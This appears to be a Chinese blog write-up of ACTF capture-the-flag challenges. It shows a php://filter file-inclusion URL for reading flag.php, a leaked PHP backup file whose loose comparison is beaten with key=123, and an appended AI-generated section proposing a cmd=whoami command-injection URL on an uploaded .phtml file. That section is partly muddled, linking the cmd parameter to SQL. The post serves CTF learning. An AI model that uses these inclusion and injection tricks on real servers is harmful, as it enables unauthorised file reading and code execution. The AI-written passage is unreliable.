ACTF题解

本文详细介绍了在ACTF比赛中通过查看HTML源码定位flag位置,利用伪协议进行文件包含,以及发现并利用index.php.bak源码泄露来解题的过程。还提到了弱类型比较在解题中的关键作用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Include

查看HTML源码,发现flag位置
在这里插入图片描述因为题目提示,所以用伪协议包含文件

http://e4ca9c95-59dc-4e4f-8e08-99bbf23306dd.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

exec

在这里插入图片描述

backupfile

扫描发现index.php.bak源码泄露

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

弱类型比较
key=123

### BUUCTF ACTF2020 Upload Challenge Writeup #### 文件上传漏洞分析 文件上传功能如果未经过严格的安全验证,可能会被攻击者利用来执行恶意操作。常见的安全风险包括但不限于:任意文件上传、脚本注入以及通过特定扩展名绕过检测机制等[^1]。 #### 解决方案概述 对于`ACTF2020 新生赛`中的`Upload`题目,在成功上传文件后返回路径 `./uplo4d/ddea6db74c0ab39b95ce495a41dfb1bf.phtml` 表明服务器端存在PHP处理逻辑,并且允许访问该位置下的`.phtml`文件[^2]。这暗示着可能存在远程代码执行的风险。 为了进一步探索此漏洞的可能性: - **确认环境配置** 攻击面在于能够控制的内容会被解释器解析并运行。因此首先要了解目标系统的具体设置,比如是否启用了危险函数如`exec()` 或其他可调用外部命令的功能[^3]。 - **测试命令注入** 如果上述条件成立,则可以通过构造特殊请求参数尝试触发系统指令执行。例如向URL附加额外的shell命令字符串以获取更多关于主机的信息或读取敏感数据文件。 ```bash http://target.com/upload.php?cmd=whoami&file=ddea6db74c0ab39b95ce495a41dfb1bf.phtml ``` 此处假设`upload.php`为负责接收POST提交表单并保存附件的服务接口;而`cmd`代表要传递给后台程序用于动态拼接SQL语句或其他业务流程的关键字。实际情况下应根据具体情况调整Payload结构。 最终目的是找到一种方法使服务端按照预期行为响应我们的自定义输入,从而实现信息泄露乃至完全控制系统的目的。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值